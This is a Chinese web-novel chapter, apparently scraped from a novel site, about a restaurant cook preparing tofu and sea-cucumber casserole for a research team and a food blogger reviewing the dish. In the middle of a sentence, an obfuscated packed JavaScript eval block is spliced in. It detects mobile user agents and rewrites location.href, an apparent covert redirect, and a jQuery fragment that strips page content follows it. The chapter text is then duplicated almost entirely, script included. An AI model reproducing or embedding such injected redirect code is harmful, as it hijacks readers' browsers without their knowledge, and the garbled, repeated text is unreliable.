宴安安 作品
54. 豆腐海参煲
宴礼也是有段时间没去林安安的店里吃饭了。
实在是因为最近项目快到收尾的阶段了。
根本腾不出时间。
这段时间里面,吃饭的时间都是挤出来的。
有的时候甚至吃饭都顾不上了。
忙碌的时候没觉得有什么,但是这一忙忘。
宴礼就有点儿想念林安安做的菜了。
都说抓住一个男人的心,首先要抓住这个男人的胃。
宴礼觉得林安安现在已经成功抓住了自己的胃了。
时间长了,真的是想着这一口啊。
正好,今天忙完了这个项目,宴礼中午打算去林安安的店里吃一顿。
宴礼没打算自己一个人。
这不得请项目组的实验员们一起吃一顿啊。
大家听见宴礼要请客吃饭,一个个的都很兴奋。
在那欢呼呢。
宴礼给林安安发了一个微信,说中午11点左右去吃饭,6个人,让她帮忙安排一下菜单。
林安安和大家处理海参呢,看到手机消息的时候已经过去了半个小时了。
林安安赶紧擦了擦手,回复宴礼。
林安安想了一下,六个人的话,上八道菜应该差不多。
【好,八个菜行不,你们有忌口的吗?】
宴礼正在手机上处理一些工作消息,看到林安安发的消息,马上就回了过去。
【十个菜吧,有一个同事花生过敏,不要放花生的菜,其他的都可以,你来定就行。】
林安安回了一个收到的表情包,顿了一下,觉得有些不好,就又补充了一句。
【交给我,放心吧!】
宴礼看到林安安发的话,忍不住笑了一下。
不用看林安安的样子,宴礼就能想象出来林安安活泼的样子。
十道菜的话,一人一半吧。
林安安负责五道,于文齐负责五道。
林安安和于文齐商量了一下,订好了菜单。
林安安发给宴礼确认了一下,宴礼询问了一下大家,都没问题就回了一个ok给林安安。
ok了。
就按照这个来做了。
豆腐海参煲得整6份,罗宋汤、麻婆豆腐、东坡肉、宫保鸡丁这几个一道整一份就行,这些是林安安订的菜单。
于文齐这边订的是清炒时蔬、双椒鸡腿肉、清蒸鲈鱼、西红柿炖牛腩、玉米排骨汤
其他的都好说,这个鲈鱼、玉米和排骨得去买了。
于文齐主动揽下来这个活儿。
于文齐轻车熟路,买完之后回来的巨快。
林安安继续忙着前台客人点的单,于文齐负责处理食材。
分工明确。
林安安定了个闹钟,十一点开始做菜,宴礼他们来了不用等太长时间。
果然,林安安是掌管时间的神。
时间把握的刚刚好。
宴礼他们一群人刚在包厢里面坐下,还没开始热场子呢,菜就上来了。
大家忙了一上午也饿了。
就开始吃饭了。
胡佳佳夹起一段海参,细细品味后,连连称赞道,“这海参处理得真好,软糯又有嚼劲,每一口都是满满的鲜香,一点怪味都没有,这厨师的手艺真的是没话说。”
大家听到胡佳佳的称赞,也纷纷朝着豆腐海参煲伸勺子。
大家一边品尝,一边你一言我一语地夸赞着,从饭菜入手,聊天说地的。
楼下,周亚楠又接待了一位顾客。
这应该是今天中午的最后一位点豆腐海参煲的客人了吧。
周亚楠和陶华,每次接待完一桌客人之后,就对一下数量。
要是卖完了,就把菜单上的这道菜标记为售空。
苏悦是一位美食博主,她在网上刷到过很多次这家店的安利。
令人好奇的是,这家店的所有线上推广都是自来水安利。
换句话说,这家店没在宣传上花过钱,就这样,还有人甘愿为他们家做宣传。
这令苏悦这个美食博主充满了好奇。
所以苏悦决定来店里亲自体验一下,看看到底有什么魔力,让大家自来水安利。
苏悦就带着她的助理,拿着一个手持的小的记录仪,不会特别突兀,两个人低调的去。
苏悦和她的小助理两个人一走进店里,就被店里弥漫的香气吸引住了。
“哇,这里的味道好香啊!”,苏悦的小助理王倩倩兴奋地说道。
“闻着是挺不错的,难怪那么多人推荐。”,苏悦也对于自己接下来的探店之旅也满怀期待。
最起码这个店里的香气让人很安心,不是么?
两个人在陶华的引领下,来到一张靠窗的桌子旁坐下。
点好菜后,两人一边聊天,一边期待着美食的上桌。
不一会儿,陶华端着摆放着热气腾腾的菜的托盘走了过来,一一放到桌子上,“您的菜上齐了,请慢用。”
苏悦看着眼前的这几道菜,眼睛一下子亮了起来。首先抢占眼睛视线的就是豆腐海参煲,黑色的砂锅中,白色的豆腐和褐色的海参在浓稠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197275|163265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的汤汁中若隐若现,上面点缀着些许翠绿的葱花和香菜,令这道菜看上去更加的诱人。
其次就是鱼香肉丝,胡萝卜丝、双色的青椒丝还有肉丝,条条分明,颜色搭配的看上去就很有食欲。
椰香葛根布丁、宫保鸡丁还有清炒时蔬看上去也很不错。
苏悦拿起手机,对着几道菜挨个拍了几张照片。
王倩倩也相当有职业精神,每道菜拍了视频,还给了特写。
王倩倩拿着摄像机对着苏悦开始拍视频。
这些都是素材啊!
苏悦的第一个目标就是豆腐海参煲。
苏悦拿起勺子,舀了一勺汤汁放入口中,“哇,这汤汁太鲜美了!”,苏悦不禁赞叹道。
汤里有一股海鲜的香味结合着鸡汤的浓郁,多种味道在口中交织,形成了一种独特而美妙的口感。
苏悦品尝完汤之后,又拿起筷子尝了一口豆腐。
豆腐入口即化,嫩滑无比,吸收了汤汁的鲜美后,味道更加浓郁。
苏悦对着镜头,由心的赞美道,“这豆腐真的好嫩啊,而且味道好足。”
吃完了豆腐,苏悦夹起一段海参放入口中。海参口感软糯中带着一丝韧性,鲜嫩多汁,充分吸收了汤汁的味道,每一口都充满了浓郁的鲜香。
“这海参也太好吃了吧,又鲜又嫩,处理得恰到好处,一点腥味都没有。”
苏悦一边吃,一边竖起大拇指。
苏悦每道菜都尝过一遍,给出相应的评价和反馈之后。
素材视频就拍完了。
素材视频拍完之后,王倩倩的工作就暂时结束了。
王倩倩也能吃饭了。
王倩倩小心的把设备放好,然后开始和苏悦一起正经的吃饭。
两人一边吃饭,一边闲聊。
王倩倩刚刚拍视频的时候口水都要流出来了。
现在吃上了,有一种终于尘埃落定的赶紧。
美美味味的,很安心。
“我觉得这道菜的制作工艺肯定很讲究,从食材到味道都能吃的出来。”,王倩倩说道。
“是啊,这个食材吃着就很新鲜,厨师的手艺也好。”,苏悦表示赞同。
“难怪这么多自来水安利,真的是黑不出来啊,从味道到服务再到环境,都很完美。”,苏悦说道。
不一会儿,桌子上的菜都被两人吃得见底了。
苏悦意犹未尽地说道,“哈哈,看来今天真的是来对地方了,要不是肚容量有限,我还想再来一份。”
王倩倩也跟着点头。
实在是因为最近项目快到收尾的阶段了。
根本腾不出时间。
这段时间里面,吃饭的时间都是挤出来的。
有的时候甚至吃饭都顾不上了。
忙碌的时候没觉得有什么,但是这一忙忘。
宴礼就有点儿想念林安安做的菜了。
都说抓住一个男人的心,首先要抓住这个男人的胃。
宴礼觉得林安安现在已经成功抓住了自己的胃了。
时间长了,真的是想着这一口啊。
正好,今天忙完了这个项目,宴礼中午打算去林安安的店里吃一顿。
宴礼没打算自己一个人。
这不得请项目组的实验员们一起吃一顿啊。
大家听见宴礼要请客吃饭,一个个的都很兴奋。
在那欢呼呢。
宴礼给林安安发了一个微信,说中午11点左右去吃饭,6个人,让她帮忙安排一下菜单。
林安安和大家处理海参呢,看到手机消息的时候已经过去了半个小时了。
林安安赶紧擦了擦手,回复宴礼。
林安安想了一下,六个人的话,上八道菜应该差不多。
【好,八个菜行不,你们有忌口的吗?】
宴礼正在手机上处理一些工作消息,看到林安安发的消息,马上就回了过去。
【十个菜吧,有一个同事花生过敏,不要放花生的菜,其他的都可以,你来定就行。】
林安安回了一个收到的表情包,顿了一下,觉得有些不好,就又补充了一句。
【交给我,放心吧!】
宴礼看到林安安发的话,忍不住笑了一下。
不用看林安安的样子,宴礼就能想象出来林安安活泼的样子。
十道菜的话,一人一半吧。
林安安负责五道,于文齐负责五道。
林安安和于文齐商量了一下,订好了菜单。
林安安发给宴礼确认了一下,宴礼询问了一下大家,都没问题就回了一个ok给林安安。
ok了。
就按照这个来做了。
豆腐海参煲得整6份,罗宋汤、麻婆豆腐、东坡肉、宫保鸡丁这几个一道整一份就行,这些是林安安订的菜单。
于文齐这边订的是清炒时蔬、双椒鸡腿肉、清蒸鲈鱼、西红柿炖牛腩、玉米排骨汤
其他的都好说,这个鲈鱼、玉米和排骨得去买了。
于文齐主动揽下来这个活儿。
于文齐轻车熟路,买完之后回来的巨快。
林安安继续忙着前台客人点的单,于文齐负责处理食材。
分工明确。
林安安定了个闹钟,十一点开始做菜,宴礼他们来了不用等太长时间。
果然,林安安是掌管时间的神。
时间把握的刚刚好。
宴礼他们一群人刚在包厢里面坐下,还没开始热场子呢,菜就上来了。
大家忙了一上午也饿了。
就开始吃饭了。
胡佳佳夹起一段海参,细细品味后,连连称赞道,“这海参处理得真好,软糯又有嚼劲,每一口都是满满的鲜香,一点怪味都没有,这厨师的手艺真的是没话说。”
大家听到胡佳佳的称赞,也纷纷朝着豆腐海参煲伸勺子。
大家一边品尝,一边你一言我一语地夸赞着,从饭菜入手,聊天说地的。
楼下,周亚楠又接待了一位顾客。
这应该是今天中午的最后一位点豆腐海参煲的客人了吧。
周亚楠和陶华,每次接待完一桌客人之后,就对一下数量。
要是卖完了,就把菜单上的这道菜标记为售空。
苏悦是一位美食博主,她在网上刷到过很多次这家店的安利。
令人好奇的是,这家店的所有线上推广都是自来水安利。
换句话说,这家店没在宣传上花过钱,就这样,还有人甘愿为他们家做宣传。
这令苏悦这个美食博主充满了好奇。
所以苏悦决定来店里亲自体验一下,看看到底有什么魔力,让大家自来水安利。
苏悦就带着她的助理,拿着一个手持的小的记录仪,不会特别突兀,两个人低调的去。
苏悦和她的小助理两个人一走进店里,就被店里弥漫的香气吸引住了。
“哇,这里的味道好香啊!”,苏悦的小助理王倩倩兴奋地说道。
“闻着是挺不错的,难怪那么多人推荐。”,苏悦也对于自己接下来的探店之旅也满怀期待。
最起码这个店里的香气让人很安心,不是么?
两个人在陶华的引领下,来到一张靠窗的桌子旁坐下。
点好菜后,两人一边聊天,一边期待着美食的上桌。
不一会儿,陶华端着摆放着热气腾腾的菜的托盘走了过来,一一放到桌子上,“您的菜上齐了,请慢用。”
苏悦看着眼前的这几道菜,眼睛一下子亮了起来。首先抢占眼睛视线的就是豆腐海参煲,黑色的砂锅中,白色的豆腐和褐色的海参在浓稠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197275|163265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的汤汁中若隐若现,上面点缀着些许翠绿的葱花和香菜,令这道菜看上去更加的诱人。
其次就是鱼香肉丝,胡萝卜丝、双色的青椒丝还有肉丝,条条分明,颜色搭配的看上去就很有食欲。
椰香葛根布丁、宫保鸡丁还有清炒时蔬看上去也很不错。
苏悦拿起手机,对着几道菜挨个拍了几张照片。
王倩倩也相当有职业精神,每道菜拍了视频,还给了特写。
王倩倩拿着摄像机对着苏悦开始拍视频。
这些都是素材啊!
苏悦的第一个目标就是豆腐海参煲。
苏悦拿起勺子,舀了一勺汤汁放入口中,“哇,这汤汁太鲜美了!”,苏悦不禁赞叹道。
汤里有一股海鲜的香味结合着鸡汤的浓郁,多种味道在口中交织,形成了一种独特而美妙的口感。
苏悦品尝完汤之后,又拿起筷子尝了一口豆腐。
豆腐入口即化,嫩滑无比,吸收了汤汁的鲜美后,味道更加浓郁。
苏悦对着镜头,由心的赞美道,“这豆腐真的好嫩啊,而且味道好足。”
吃完了豆腐,苏悦夹起一段海参放入口中。海参口感软糯中带着一丝韧性,鲜嫩多汁,充分吸收了汤汁的味道,每一口都充满了浓郁的鲜香。
“这海参也太好吃了吧,又鲜又嫩,处理得恰到好处,一点腥味都没有。”
苏悦一边吃,一边竖起大拇指。
苏悦每道菜都尝过一遍,给出相应的评价和反馈之后。
素材视频就拍完了。
素材视频拍完之后,王倩倩的工作就暂时结束了。
王倩倩也能吃饭了。
王倩倩小心的把设备放好,然后开始和苏悦一起正经的吃饭。
两人一边吃饭,一边闲聊。
王倩倩刚刚拍视频的时候口水都要流出来了。
现在吃上了,有一种终于尘埃落定的赶紧。
美美味味的,很安心。
“我觉得这道菜的制作工艺肯定很讲究,从食材到味道都能吃的出来。”,王倩倩说道。
“是啊,这个食材吃着就很新鲜,厨师的手艺也好。”,苏悦表示赞同。
“难怪这么多自来水安利,真的是黑不出来啊,从味道到服务再到环境,都很完美。”,苏悦说道。
不一会儿,桌子上的菜都被两人吃得见底了。
苏悦意犹未尽地说道,“哈哈,看来今天真的是来对地方了,要不是肚容量有限,我还想再来一份。”
王倩倩也跟着点头。